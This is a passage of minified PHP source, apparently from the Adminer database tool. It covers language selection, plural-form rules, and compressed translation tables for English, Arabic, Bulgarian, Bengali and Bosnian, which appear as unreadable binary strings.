lang($v,$af=null){if(is_string($v)){$Xf=array_search($v,get_translations("en"));if($Xf!==false)$v=$Xf;}global$ca,$mi;$li=($mi[$v]?$mi[$v]:$v);if(is_array($li)){$Xf=($af==1?0:($ca=='cs'||$ca=='sk'?($af&&$af<5?1:2):($ca=='fr'?(!$af?0:1):($ca=='pl'?($af%10>1&&$af%10<5&&$af/10%10!=1?1:2):($ca=='sl'?($af%100==1?0:($af%100==2?1:($af%100==3||$af%100==4?2:3))):($ca=='lt'?($af%10==1&&$af%100!=11?0:($af%10>1&&$af/10%10!=1?1:2)):($ca=='bs'||$ca=='ru'||$ca=='sr'||$ca=='uk'?($af%10==1&&$af%100!=11?0:($af%10>1&&$af%10<5&&$af/10%10!=1?1:2)):1)))))));$li=$li[$Xf];}$Fa=func_get_args();array_shift($Fa);$ed=str_replace("%d","%s",$li);if($ed!=$li)$Fa[0]=format_number($af);return
vsprintf($ed,$Fa);}function
switch_lang(){global$ca,$ie;echo"<form action='' method='post'>\n<div id='lang'>",lang(19).": ".html_select("lang",$ie,$ca,"this.form.submit();")," <input type='submit' value='".lang(20)."' class='hidden'>\n","<input type='hidden' name='token' value='".get_token()."'>\n";echo"</div>\n</form>\n";}if(isset($_POST["lang"])&&verify_token()){cookie("adminer_lang",$_POST["lang"]);$_SESSION["lang"]=$_POST["lang"];$_SESSION["translations"]=array();redirect(remove_from_uri());}$ca="en";if(isset($ie[$_COOKIE["adminer_lang"]])){cookie("adminer_lang",$_COOKIE["adminer_lang"]);$ca=$_COOKIE["adminer_lang"];}elseif(isset($ie[$_SESSION["lang"]]))$ca=$_SESSION["lang"];else{$va=array();preg_match_all('~([-a-z]+)(;q=([0-9.]+))?~',str_replace("_","-",strtolower($_SERVER["HTTP_ACCEPT_LANGUAGE"])),$ze,PREG_SET_ORDER);foreach($ze
as$C)$va[$C[1]]=(isset($C[3])?$C[3]:1);arsort($va);foreach($va
as$z=>$ng){if(isset($ie[$z])){$ca=$z;break;}$z=preg_replace('~-.*~','',$z);if(!isset($va[$z])&&isset($ie[$z])){$ca=$z;break;}}}$mi=$_SESSION["translations"];if($_SESSION["translations_version"]!=944611216){$mi=array();$_SESSION["translations_version"]=944611216;}function
get_translations($he){switch($he){case"en":$f="A9D�y�@s:�G�(�ff�����	��:�S���a2\"1�..L'�I��m�#�s,�K��OP#I�@%9��i4�o2ύ���,9�%�P�b2��a��r\n2�NC�(�r4��1C`(�:Eb�9A�i:�&㙔�y��F��Y��\r�\n� 8Z�S=\$A����`�=�܌���0�\n��dF�	��n:Zΰ)��Q���mw����O��mfpQ�΂��q��a�į���\\�}��5�#|@�h�3��N�}@��i���t�sN}+�\\�p�ۥ�+�̈� NbB؍�8���#��'��`P�2��+ಉ����*���/�h��H�\n�:�9�+8���8�7�Cs��\r�`���j�Ѐ���D4���9�Ax^;�r@6�k�\\���|w-<Q����xD��Jċ���x�!�~�B�@��C��)�0�:�8�(Ʀ�k�Q9�;�:��KN ����2c(�Q�sB�4�e\n�C�78o�J��C�:�aJξb�6%����p�4�\"��/c\\8�(�0��m 0�\r8�>��P�:������#8΀����A#�9���� -Bμ��H���k���£��c;�JZM}�b���p9�ncQ<�\ruo,��l9�ԥ��1��J����B\0 ���0�ˈ�㸾@(2L��38\"�j���l����9�\"MF=�/���F�lB\r��0�6J�Df3��Ȩ7�Q��<�k�u�c��bDZ�v2�REl�a�Tʃuvс:��p�(@Ǯk�}��à0�;ZC���2�;YJB!�b��ˍ�\\v[X˼	\"Θo�^�j(>���#bP*1cp֟�;��ɶ��#\\�]4|��H�2��:(ع�\\�>k��8\r(ɲ#�.I���?\0007%	T=G�LV���g��wr�#IT�'J���ʣ��9K2ہ/LɖM���q@	�9�\\�j)��95g����tA���\\TUQ�\"�`2:w2W���~�� _�l\r&��3)f����z����0@�b`�9���a��<�跛�@wa����(��z�/��\0RH�	\"q���\\���9�Ȇ�&E̩!�������	�5%Ě�xl!�l0Ĩ��`ۃi�Q�\"8HVIN8d'�=u�X���;�_I\"z� ����A�c�48�80�0vN�G��v�H��;��WN�Qi�<)�@@�\\�R&� �d_�|�cr���'nINpr[PH���cICF`�0̑�@H��gr���#&H�0T��	�%��\$���2�KK�rHt�e4ѰO	��*�\0�B�ET@�-	c*�X��‰‚	��4��dd�W�O,kMJI<p	Ho5Dr����Ѵ�\r����F�HY�1%��#|b�Q�����H��E��Z�Y�ON�(\r�����L>S�����C	�\"�@�7��C8h�:(?�\$PR4�\$�&&�0�AI[���\r\\'J�\n��R�E������)�%c�e\0�N�\n�RaX4� `Ŏ]!���I�k\ny�\nd9.�>�L��a��i�>A���k�J���DaA#�x�UWv��g6g+�QJ��\"��`�{4zL�;�(�Aa JR�gI�H7�2%.z�C�����٠�HAx ���*�B`�(\n\n7լZ����O	m�T�X�Lr8�`[I��P �X2��K�Ұ�-�i�5i�3o%\n��6lS�pP.����l_\n�/���B���D'ro\"܄@�!������8P瑼D@(+�PŔ����IhB�j�p��T�_%a3l��ij�0���9egY�b�LKhI3��œ��WIȨ�谘��eyP:=�,����/�)Ӛ-\r��-C���Zq���1Q�O-A�^��@wKQ��sR��Xk��	Lqj*o!td�����QF����`��E�=XY'̽�3-P�Y�lҞ���j�6�PPE�i�%���%��>�����b*y����0H����5<��ZSsT�㴭�G\nl�!n�Q/�������ɸd��e���8�tU�U�:�8\\9(a�	�	+���&\\x������ 6�}��4�2��}V��u�W;���sϹ��V����rh_�\r`�Sn��Sv�I�5<��C��%tY��6M��h�I.=D���cz\\�D�F���Z�\\ӟZ����˩:6ש��mg�6�o�����7^�%#��m�S��s��2���<���8����}'��>`�Zb�����®�0�k<��z�œ��dJJ!4����C���x��Lq/PJ>'��~oz澴vR�F��5���ׄ>ś}��UwA�%���o7t��G���ӺJO���o/��\\/����p�f�>V���gOO����>��\0���@��#���bҸONڇO���fl�:���f��\$F\n�Z4�J6Inp��7�>�BQ02���@�:��E��� ��Ph�@�r#NU/�t�l\rhH�P�0f���p�0��o2#�~�f�#\"�-������o�m(�e8\r�n�L �2>\0�`�i��\rn�\$ml#�N`�ư/�'ƃ&�z��\n���p)ţ���n\\��Z�h:�l��ʂ��6��D\"m,3��.�4JR.��@ؠ�6��œ.⚹�3\ngư�j�Yfs龦h�b*�\$�E�\"�ʄ�'!��\r���Z-Vұ��-B�cՑ�M�݋;��\r���H�1��-�@�C,��4��������ư&^����@	�@[� ��\0� /��ʮ�\0�%��d�'e(-��#@�<��G�y�vZ9 ���)�ȗ��:rR1�&�Yo���<�.R��-K�2�b�`��r\$�l/�`�ES(r��Q���*@";break;case"ar":$f="�C�P���l*�\r�,&\n�A���(J.��0Se\\�\r��b�@�0�,\nQ,l)���µ���A��j_1�C�M��e��S�\ng@�Og���X�DM�)��0��cA��n8�e*y#au4�� �Ir*;rS�U�dJ	}���*z�U�@��X;ai1l(n������[�y�d�u'c(��oF����e3�Nb���p2N�S��ӳ:LZ�z�P�\\b�u�.�[�Q`u	!��Jy��&2��(gT��SњM�x�5g5�K�K�¦����0ʇƢ��\nS ��r\$���j�(�v����!Jb����q��0\n��j\n������j��@�z�l<\$W��rؓ��s����U&�[�*��l�ꎠ(B&�����4_!���d\\B��=�t[�	��?�:�X��ؐ�eJ	\$���\n&�3ޜ:����ñ?+T\n�Ь�	J�\0x0�#��3��:����x�Q���6�C(�\r����u`<7cp�4���D��H�85�mb:�x�)m��ލ�#h�m(�(��Kv��%��[G�B�=2m[����j�Q%��uq�s�d��JCD�SZ�ɻ��B��9\r�PΎ�t��#����1��^O�|�W�e�/�J]9J��\"R��6�\0�0���������F�r���I�Z��)�֛kR<�J�#=^V�e\$O��Y<�^\$[�bZƥ-�m< P������ףc�7L)D��bbԇ����b�������O\n���v�2@��o�1lk�Ȧ7[��/��q��A���1�����;N��`u�wf�ý#�+�GN,��;[�Ν ���q�F�ƃ��6L�A���x�3\r�K\n�Q<Mɸ*\r�@۳�!\0�[���c6N\r�x��ach9{��0�A넄@�:�a@�\nJy'!��0��1*�|��C�+Arl!�i\0���{ˊ�Dlx��t֛[�1z�“��ע݄hu;���[ ��4A�5�0̫^�=`� �uR�pcW*�2*�@�Ԫ�S%0�ȮM�X�����!�J�'�(\r�U�3�[d�A�Db���PH����L�haf�9��ú�Y��<\0ҥ�\$��K)�4��TJ�S?�T�r�VQ�Z�ur��sW��`�8��\nc��1gW�CY�ZƥU=�ܰ��u\"T���cR��E�fA�!�:+����l!�҇U\rÒ�Y��3GB6�_s|������2M鴘\$l0� @��\r,�9�s��L���ET���:Vؓ�!��p��� �?f��HU��Zb'ԙ�5s+�#Y�՚�^lVppU��ٛ�L�K,}!�2�|�ݺݍ�:y���6\$͏��\r��!GQ�O#�A�E(���5g�ZA���X��I�I#A�ς\0�Vq�e+D7JS|l԰qe��`��l<�Ҿ:��c9�JќTx8? �MkP�v,�\0�¡\"-�m;C\0LjBSLk���6.Q!6gT�PI�C�}�N�=ϧV�bh*�r�\r��IN��P	@��V�1ͻ�T��J ��m���Қ�(��P��u�+�6��Mf�mUEV{N:*��3��R2�\\�x����p \n�@\"�n���&[Θa2�a���&40�t�F�Q�ZVgi�P�(��]�T]�:Rn�3����Q�����V|��@����S~it�41��2l,	~\nf��n���*���\\��\rY��J1{�;�@�a���k��8���8��㡝�����l���.!�'iB���.��wrZ3G���\\\"��cL(]���5ֈ��gw�攺���0F()�����r���)�S_1)+r\$D�Ȼ�oKW�0(0�8�I��s��5��;�E��W�6;�l\nD��l)p����H��J��@��p%��̓[�N.�\":�A��%�ְ;��bOh�^�By�=C +�E#��(�'�̝�5F\$�	4�eO�un/�S���\n�!��AX�Pi6V�KQ��m��¤��&���-�h�9��֘�/Y�#��ӄ2�����a�j�/1�?�-O�ː7R'B�L̙yc�u��fn�HY>.E�Qa	S<¤���ŐAKaI\$�B�j�Oc���r����&��B^�H�R�U���r9�jr'�״�\$�����4ǕA	^<*�)��!�B�r�]1ؗ;��	OE��i(d����:��r�VA�9B��XPa\\u�T��m�Qˑ=��T�ȡ�6''��}�N�yw�.G��l��;��w�@�c��^(CgQ{�~~���._4�{�׏\"ӯ����o��u!6]�)�	���M�d|�J�@\n`?�\r1B�W��e��(��:���<��@���O�pO�?�X��+\$RԐ�/hb����\$j���Od���n�E����BK��O�2�����lsq��qO�ȇfŰfB��\0�SEPI���ϐ��Zp������Gxˁn�\$\"pR2/~�i�\n��:��1!}�N[�T�(1���L�L.���8�{\r�R��k�����!OA��	0m	o�(a��#ž��\$��	�@Md1 #����&<]#�n�8�fj�P}«�.�#N� ��p����\"\\�lS;pNԈ(_P]d�<l�/qQ�(C�������jF��-��h���\r�ok�aO	�s��o\r��-���wB����uQq���ā�p���jA���u���b'OZpm�,u�� l�kE�\"o5�N��M%�nc� ������:k�<�o�����\r��[��:�Gm�\$�C��T�q�ƴ/�H2R �&Rs%o�&�x����]����<[�H���y*2��J:��)na #�*�_ �}+����bp)�u,�U%�K�U+�nD�,O�[��K�I�i�_,�|Pr�C�ْ�-З/�\$C|p����d�E�.�Tԓ K���	2����o�%\$��n\$�q#�(0���<+.�N(��c#n����@�)�gF)�d�M<@�0�f�_�>?�]\r\"�;����@�`�y��\r`@W+heFXe�&\r��\r �{��&`�����ș���\n���pb�J�=o�J�KΔ ��k�:a�\$nX�KL�-DD��;�����d�Ѫ@f�'�L2\r�\0E+@D�3�P������\0�\r�g;��7#��4M>��.�R�MĿ��J\"ib�NĔA�\r�J�ϘBh�N��(�\r�nGT�04�#��I�����lm�4CH	����	�U\r2�ϧHJX;�xˢ��|Ao.�4��o�MO�\"i�0�flaN���mOLL.�.�tkFs�@��`���^Bl��Bn	dD��&ư��gbp�z�4��|�pB��\\��B\$�S�-Idk)l�R�(Nb�F�\"�Ȳ?�F��	\0t	��@�\n`";break;case"bg":$f="�P�\r�E�@4�!Awh�Z(&��~\n��fa��N�`���D��4���\"�]4\r;Ae2��a�������.a���rp��@ד�|.W.X4��FP�����\$�hR�s���}@�Зp�Д�B�4�sE�΢7f�&E�,��i�X\nFC1��l7c��MEo)_G����_<�Gӭ}���,k놊qPX�}F�+9���7i��Z贚i�Q��_a���Z��*�n^���S��9���Y�V��~�]�X\\R�6���}�j�}	�l�4�v��=��3	�\0�@D|�¤���[�����^]#�s.�3d��m X���3�����\\�	��.L\\͐O�p��\r�����Bz�.+�ү������H��*��A��b^˹23r���J�B��\"��ʏ��L�����|��ɪf��Jn䵉�x��Ųd��k����8�#��%5�Ů%\n�!,���AK�SY0�4�Ԅ��٠H��3��!s��I\$*�Z@�ڣ@B\r,U	��@4C(��C@�:�t�㽔# �4��(�\r����u�<���4���D��H�8\r�(�l���^0���]c��7��\0�7���2���&\r6��K9)�-	;�%N�UE���ʣ��]?�xv������8�v���;��@O;D�Kb��Py\n��7Z:<�2�҉�:�hj�>MD\n�y+�u���O��|�#䃶�j����'҄�զ��n����V�/q�����;�\r�M�'Oa5.��L�%��E0�D��)�j>QR	\"���\$ҩ#g� 0�j���[W���T��/�a���0B�Iɺ�c\\\"��'�V��N�\\�G���D�\0V&!�����L����5GP�KovKPd���B�����Xװ^c�7��U٤ե \r�/��k+��,}�����R�o��TR�:gu�dLB�&���\\#�l�I߲�R�sB{���'p����TH�ް���`tM@�Ӿf�Hb����>rZ��ue1��Lv��p8�b�J�\r9'̊h6v�t8Dez&ZK\n;�fgy4ċ�9[�&%�v��?+���D���Jz���cN<S�i�+&�~��h�t���zH�jR+��wO��?d�t����#��.!� ���n�N�NdtʢخO��	|�A���A�Np�Hש��ll00����@a\r��9�\0̵W��\r�����#k�o�E�ʻW��q�0D�\"�!ў���\\H\nM@R��˧<�	�2r\"\"M�AS��]�4��!<MjɓC)�H�D�8.F�2y&�ʼW�a,E��PwY�=h�5�����[��o�_7A�\rBƨ���[9���4҂)GW�i�{�MM�����(+,W�(��\n�o����\r)�;�p��nT�qW�`*`0\0��\"��4���\0Jc�%־Cf[�Ȏ�P��(sa�:�p��:Ьl4/����a]`�1�٬� a\r���3����Vn��ٲ��xn&�Z)����='A@\$0��^G����\nK�\n��|�@��V�`g��~\0�C�e��2���C��\r37��,��6EPı[z],\niF�t���.%�������Gd��,*AUN�^vVi�ɡ�Q�<�0m�ᤈ��ɽ�P�'\"�FeY/<��R��w!-�,�f�ɣM�Bs*���s��\\�-0�����Ȃ\n+�@�Fxz�\n\\@�ץ_�B���Fi}���#�5m��6L\r�����V��D�U::Ʀ�(�󒞲T�V}5[TCb	u9���r�Zɡ�Á*Z�Щ�a/)p5��Y��ͦREA��l\\j	���YfI�W��0��B�G�\$�	|'�J�h�rh�A�q�bfmբ�Rj�>�cLX�����\0���ٟ,~ql��A��RM�0R�D��)�.~%eS��{��D�E۵NÞ�֪��ב�H��;ۑ8X�]��2�UڇnҦ�t��T�#E1(#��^��n\0oX撉���Fl�N���0�������E2H�!�t��-;+r�Z��f��-�yԺ�F\"o��+�N�.[���;,�;�QQ�U�ܔ����\0ul[�ʊfbI�t�<nsh&�]�������SԀrB!H����XWd�������_��I�1��ɻV�5m;!r>)�\0��oe����B�Xh�hr(œZ3ԷZ��q����3��J0��Xv4�gC�\rJ��cWf��T�H�I�\$d'z��Y:�s�;�?\r��T�����C	\0�8�U�k��W����p�C��Kt2'��C\n���[BT|F�/����N3��T��(Q,�'%e�o�;��\n+{P�?�MO���L�LZ�J'����K\$��B��\"���\"*9�LyC���,T�\0�8\"��hǺ���:v������\n�08�0Q\0���B[0>o�6�D��0t�ү�&��4��mn�.̦��#����5,R�|.!</��mR��%жGl�Hb��\r��Gg	��Qc�n�|3���v���	p4�+�\n�#z�B>�L;M>+��ņ�=͆��<6Ch���ӧ\$@Bj�(�j��ޥ���\$\"b�B�,j�2����nt��*�G6�dܩ\\��|�&-����0�\"�B���L�qt.'U�G��\\�*g,V燄�L��}���\n��HxW-()(\\Ȧ�+„q\$���L���T��\rÂ��\r���/f��8�t�K��f4ꮑ��}��d��\n����+��MQ.���7F�ӭ`�XTF�+�@,�PnPPOM`\0SP��F����6�Q~+\$|.2P��T��	Q�8”j��zC�����rVȑ7/j'��g��߲Y�v�1�'��\r�q�ͣН��ұ(�\0�B�)2�bR�)�p�q�R��B�B�EI+*w.\"��\rJcoRnF.&P���;� �r`O�.�Z����z�A/�K/�a0/�\nI���B��\nK����*5+s�t�����\",a-�\r5o5��(�� Q�jf�#��d�l�x�\" ����#|�S2��t�@r�l��Df'9J�a�H��? GXӧ�kf�s�S�D�;PtH�xlr����3��4/;q��� %��<��|�&u�n*/'3�7����E�w5ң-�v����EM-r]4��A\ryBs]7�A�(����B#eC�^vn�)��K�,�0�D��E	s(�Hd�`��`��d���C��)4_	�e'���bui70�H�	D�P���*->ic�#rq��V-LB����d�öRk4�OQ8�'6�5.�J��O6S#L�W6�F�{63���eN1�Cr�C��?���Јo�?�	HN�|�/��2�?ITEPd�o��!D�/t�O5n60dB+oO �2�L_�BGEhD&r�&&3T�%T��m�\0�t{O�1�3dVl��mUT�Ng�N��Q��VQV���I-�R,gY�MZ�XoG\"��B��%�Z+R&��6�u)=YU�Q��w��j/�����X�Zs�.u/�F���Q_���i_F����w`�Q58�0�j[^m^C��U�kV�4�H�tu,�V�,�ERsE��_�F�VL��Q5����bF�\\�VOaD��!B��zw��s%ONb��\nb�jA��\"�\$'M\"�\$\\�r�H��W*6��Rs���b�AS<��ijnmQ\"k�b��AHOD�Fmf0G3�%\\��nm�f�&��M0�;k|�@�b�:bb�fb���ZE+h��S���\"+TH,�eJ�K�?It>��\n���p��p�ntaPCT�gS��(��o��wp�'l�v���@\$B��z)����‘��]����B=�uW�jS.��?�ʄ�PAdX��Ez�\n�`D��_]��ބZ��N,��/n.&�2�w�O7�sĵ'�y�}C'd�P���TE��R���rwd9'��X���q]l�/�Ǹ'-Â�`�p�w��lU��u�5]4��>�)P�-�(�ˈ���S��L��E�t�q��3��}2l��q��\0Q�8~���1C\$m;}DŸ�\\�v\"D��ldQd�K�Sx�N���[#���@\$�Bj6�i�:��^Bքn�4	m���a�&!/:���&�:�� z15-�v/nf*�0c=Af��d��<�C��Ўq�f����)Z5R��^M��Y,Ut�g��0VTo��";break;case"bn":$f="�S)\nt]\0_� 	XD)L��@�4l5���BQp�� 9��\n��\0��,��h�SE�0�b�a%�. �H�\0��.b��2n��D�e*�D��M���,OJÐ��v����х\$:IK��g5U4�L�	Nd!u>�&������a\\�@'Jx��S���4�P�D�����z�.S��E<�OS���kb�O�af�hb�\0�B���r��)����Q��W��E�{K��PP~�9\\��l*�_W	��7��ɼ� 4N�Q�� 8�'cI��g2��O9��d0�<�CA��:#ܺ�%3��5�!n�nJ�mk����,q���@ᭋ�(n+L�9�x���k�I��2�L\0I��#Vܦ�#`�������B��4��:�� �,X���2����,(_)��7*��n�\r�%3l��M�|� \r���m��K�Kp�LK���C	��S.�IL�Fs�W9�S�����T�Jz�D��dz�6��[��\$�K�����l�C�T�ODu;t���t�I�T҈J��}F� �C\rY���N��5,�aR�nWF3�,�ԲL-��?�+Š����pS�v��P��\n�rÔa8���TA�yJ�ܒx�`Px0���3��:����x��6Ƀ(�\r����v8<?Cp�4���D��H�8=�n::�x�./�\\�\r�#���o �(��K�Xw�F��Q�\nܯ�i@G�Z�y�l�Q�\$_,#M[7���D�о���KssdQ\\?p8�KZG���U�]�U٬2\n��7I�:B�P�[<D�XMj�A�3%`m�U'��z=�w��\\�PL���\\{\\�2,*�Y���:���@;#`�2�J��iפ����ͷ |�9F/�sD�V\n���(��J��H���{����L�)��ӧe2��8���@}6V�70���� dE7�\n#D���EȬ�gh�=Ā1�ܒZ\0-M��|��N)��6h�e����z��uU��qp@��S6�]�YI砅��\n#�x�ճ��Ma�\$o��\$�����-�r��~F��(��S%��m��n}�`���ғ�OM�e����\\ʌmf�!����a�\$�G&\$`1M1�u�[M:�9\0��w��\r�3�*��%��l	�y�\r�8<�\0�ȃ�cg�9�gh`o�09�����a�&	j㘠n��0R�\n۠���0��2�{����Y�9%n)?CR�Ցx�PrFI�V��ox���ӷ%�n\rg�31�<��h ,M��)\\�+#�X/���)r@�22S��Y�3h��'R�Q�4��D�`�(*�Fb�+��i�D��f�3[1J38�����r=�9�v2΃(x��@]?X\0h`L�0��sbR�1�4��9d,����N�K+e����D���C9g`�M���ЏC�a��гn�j0���� )M���Q��l�`T\r�0�0��p �#���L���LI��a�R�yS*�M�?����\0�ˁ\0c���4�����W�e�r�C��d\$��\0��q��dT�\0\\��\0 S5��\\��|?u�b�pCd���8Z�zOY�=ᕝ2��<���;�R�#D3�E��喸�<�]J`�Ԣh\n\"��Aa%c\nL�96:���g^�\n�T/�!L?�\"�҈�l�/*:b�y\0����Ը:w汚��^�q\r�t�m��G����4�����ngG��0 ��� ��7���=+e2?�v�ʖ{i/Pp�A��*\$�PT%��'�0�C�+�*��9Bh��2#��R�3���i��@�β�桶�H#Cqs�M�?;5)j`t�e���\0�Hg�&d����h �R���tY]���%��@ŏ.��&�2��a��H�g��\$�\"�Q�[_<xK��M0p��òA��ZG`���m���}�DI\0�]�8�P=�‘��n\nn'W2ٶ��s���A���������#2�0N!Q�p����ҳ��Xƫ�9���^F)O�KNi�� ��W��c�sW	]�\"?����H�#�E�@�>�HEI��)Xnh��W\$�S�zRI됗��V��0�3Y\\�����1�ڨ˗8vv�*���`+�Q���O�c�.ґIZ��)Q�(�l��n�i!gF�0���}I\$4��yv�\\�w�L2��\ryZQ�ݝB%^U0L��ݰ���]Lml�����P����-���TE��yP�ӤW�T�n\r���0)�q�^!�%�c/�r��5kWM�D��_��~��t��?C�d���\$;mJn��#z�A�,���f�ʍs���Ҟ�I)]�՗��Պ#�+�׃��v�ŰH�n�d�\r@�\n�� �	\0@��,\r#����l�>��C���x�����\nP馜�q�^6q%��a~q�X�lk��(*������h^�p<-���bWCty��Z��nƂ���H('�p��d��Bj��6��.0�VC�\nЎ�bȣp� �o^l���\0n� '�����&��\r�/#ӈ\$t�(�n6[Pt��O	Q\n���0���(�`�h#\n0n�@�N&@��p���n�����/��`h&(v̘�Bxc����/B��O��H���r��bo%v��EJ�l�q��\"zSBh�ܙ���n70d�[�\n��T.Mfqh�iŌ-�`n�&n���0-Ĭ�٫�kmxn�&����T���0��B�kB�/������\n/W\0�\n&��px8Ż ���.�o�r�N(n���ЈQ?	�<U�oD�R& �J�#n��R�lO�LPo�\$o�`J/���Hc���V�������f�J�5#2U#r�������l���}	�G	(��\n��S'��%��.���[Ŭ���Y\r�������Ž�j#R��׆�T�I\r��2oڢh���\"#\r�.��0�:�-�ۇ�8�j�oX����c\r)�����R���)g^5hG!�\0P�P\n0��K�Rw�̉,��H�+�Jo�53�~�f��,��&mړ8B�9+�y*�d��H��+r�	r�#��哞-�n#�:r{S��#\n��\"�o(�3���#��<O)/Ӣ�3�LN9=��>�<�1!o�'���S�)s�!���\r�n�w%��q��!�S2�r��P��k�;�@ư�C�-D.m�:����S����B�#B��CP�XT;+�zxe7�\r6җ#\nK9T<\"�Gp�G�#30z�TOC��Pt��Ǹ��\n��*�S=���hUCrTX\\�\n��mD��7f-����P�Ub�&�`�ĉ�@��ĭ�LӍB��Pʉ�[I�K�HѯH�:*1x�EmE�n�0�Z|�&�x�Q���J\riG��s4��N�R�m���p߮��sN�O��\rҊů;s5*T�E>Puh���G��)�:��W��\0��A�;Hs��C>h�!��3ɚ�5~�ՃH4�Wn?ZkmZ��5oI��[t�[���޺ԫZ5sI�Pu�]E#Vԗ%O����Z�;^��]���L���D8��Xa~懡���/F�=h	\r�t����(�E@���U�\"��r��X���\"j�\\U�@�WU�dFj��G��f5�3�\\�ve�we�W_V5b�Y��p�U��7h��/�f��Y5�a�i3dY�[�n_L7_H����M��sm����N�\"�q(�� 4g�L�f�m��Z�>�9fv�o,L��hu�'tET�?6�J6�p��*7�7�Wr�v�TQmM�}[sXW=�PhN-�=s6�]��qU�s�܆�U�u!�N%��lV����T��s�It6�gtr����7I3�;�Y9u�Ȩ�2�l4�I�q<7�#�iוhS�vр���z�sc���U�Z��,�R�<�nVMXwK]\r���e��h��y��R��|v�`�Y��}p�YqieT�-F��0?-�@�3�utY�L��5�r�1!�b���y�\rD!��fz8*=B�B�b����o�NPh��5Z*,+��MaEt##��\"�\0�SP2��a\"M�\$�2z7ve)``�@�`Ƒ��\r`@d�,v�rwj�\r�r\r ̓��.���������l� �\n���p:�xI��,eE�gF�O�B-Ⱥ6r��P)�B#��_F9}(̮XKYW�u�f�)NJM�x*�Nc�2 �`	�ӍqE\rY45�cIW�d��n�t#V�S/���#;���AL%vuO�L7�_.	�(gX���@O�g\n�,_������7*0-�o��P�D�9-�/*�Dm��8��;YK9�(O&�-�:�v�b����B����=x�N��cdv�=9;f`��P&<#�ʀ�b�6h���lPѓY�>�9?��pz�\0{� <(���ӯO�23V Z9��)U�pUE���n6)�>hĿZ����&V`���������A9v�8�Sb���U/]�X���'\r�����/�w�zj���9�k��Y�so��-�|�X[��P���q�`�*�/ZX���Ea���� �	\0t	��@�\n`";break;case"bs":$f="D0�\r����e��L�S���?	E�34S6MƨA��t7��p�tp@u9���x�N0���V\"d7����dp���؈�L�A�H�a)̅.�RL��	�p7���L�X\nFC1��l7AG���n7���(U�l�����b��eēѴ�>4����)�y��FY��\n,�΢A�f �-�����e3�Nw�|��H�\r�]�ŧ��43�X�ݣw��A!�D��6e�o7�Y>9���q�\$���iM�pV�tb�q\$�٤�\n%���LI6xi6�\r(1�;��@7��\0��2ʠ@���B���D��\n�\\**h3��!�ւ>��J��J�����;.�����j�&�f)|0�B8�7���[	���!\r���9&c�6�p����x������ *0�„~�B��5(���G�42c0z\r��8a�^���\\0��2�9˘��� ���Ø�7��xD���H�84�`�:�x�Am\\z4@�bN9��� ������\$���`T��1���X��P�!�L�	��8�_X���%u�7��*�;J¸†��8���b:!-�o�7\r�5\$�6E)��4��,�IB��������2���6�-v:%X�B0�7\rc�K��)3���'#<p14�h�2#����&+��>&#�j��j1� �[(��_b,<p)�l��\$��&ӱ͍XӢ�;�#H��:'xbS�5�}`�v��������k�#�2��茹��ϴ�F)A� :�#��j��z`���O*t���\n�䯺]{�K;�Ś�[��6�MV�a�\$�̳v�7��2�%�~I4L#{[�\r��OD����c6�\r�:�9�����c�\n���\\?^�(P9�)p�2�ѳ��b��#i� \\K�˶�?ۺ���6�:�ªR2�*4	3�л;�50�Q�!\0�>��?z�b�;��5�ڛ�h\"����CƦT�.\n��P�H��:\0!	5��z��I�T�M��P9~�9�0�\\�(e�aG�Sc\0M��9�T�C�{��@�%�a��QJ1G)\$�A�S\niN�@��	 ��r\r�RT�dR%�ض��x�Yp�?ʹ#��ګ ����\"C�Q��;�`��H��� P��Qv.��h�K�ŏ�Ⱦ���	��ɝ�.K�s%������s#�P��܍�ph{� (wލ����\\�aV�/�-3Ji�J+�:�hh	 .�;�b^���;�u���K��tl��9@֢��l!���l����\r2Ȭ��?&��-��)&h���\n\\*�\r��L�&C��`�������<�9�l�B:j�Y��L���xS\n�NS���G��u�p���qH&d�0dZe�i�3�YV��M]I�(��f����4�\n\n�&>SLB\r)�RZ��2�)�|�V9���nX�냡��נbB�m�l��J�p \n�@\"�A\0(4d\r� 0�LѲh#a���\0 E	��؛{���6���8P�iz�\r�Z�Z�V[Q�mD��_k,�%��w�T��1�U�vOpX�t���A�b^y�p���X�J��-��S�c6�=�t�	��\0[�SlXG�6	n���4���\"Y���\r���r����VI6�3��:��ho&�l(KIlRQL[j���U~)�ZǾ�jE��|2�d*4�����Ro&�r4\\O1�=NI�K�Mt�	���P<P�M(e�b�D����I�he����;�)ݜ�%����i��dYL�ݑ�{\\H%s��Y��br��\r����Q���<���0��G�PR^����v\$I��\n\r����P��W�P*�U��i9�BX�h����\nfر�W���@���\\ڤ�j�:��U����hGi�rȲq��I'`�����\0�eZ��t�����(Nv�@�v�l&�������Єkf'�N):��E�j�a�f�e.�ȴf�A#��=6H��I�v���wf�)DZw��ڻ{e��y�6Ϋ�d����D&0�Ĥ�Q(w[db�S���yV�\$-��Lv��GAĈ˛�ڒY�+BL0`��zG���B���\nL	*��c-gF�x�+2����d]-X���|�8t�ٜ��+�vI��3�F\r���&6�bZ�3�ߢ}�V�\n�ܝ��3/�L�7�&��;مbg?����Z�vyź�,ƘA�k&����,GX)�d�'��P�H���N���%�L�K^�o3��NJ�J*En�<���x��.��@A@d���ʩ#���6웇����Wl�����a�~Gн�K���/�\\m��>ߴ�,k��7}��O�w_�K�3��~��s��1:��9g�~�MX�\r����o�(�L��0\0ڏj�-�+�\no��/�����\$� �mֿ�d�\"z����ܮB?PF(o�'�}5J��肃�UF��BbBz�O|�b�\$�3f@>��+@�/��xL��F�ovɆd \"�b�g/\nB\nO�^#���ʓl��`��UaL����*�CϬ��%�W�Ȥ\n�����������\n�h���c���	��L*����w�!�m��잖�8e\"aQH��R�b�1��>�\"�1.��elB`@Un1���PK�2�|.�Z9���0/�&ʝ�lbrW��b�\r�f�O����q�g��F�8���xd�X#��D\"^rр���L��=��]�Xbp1N�C�r����%`D1��]#�E���=\$@^ȠÃ�}\"l�����J͐h�����\"��G\$�2��~E�7C~>\$�!�� k�%�d6�i#p^C�&c� �	\r;��eܷi�1 �+\0��\rIm(֤>\r���	���T�r�^��r�沨(���lR��Erb�B\\Cd~Ԅ�p;\n�ZNƒ�;\0gH�r� �9/�Ld|\r�V����^B�s�9��a����P`�x`�\n���p��F<m��c(�)�zPN��(�k �N��(��k5��yЂ�T�&m�%z0��'àtʂ1',��>dV/h�1��3e��	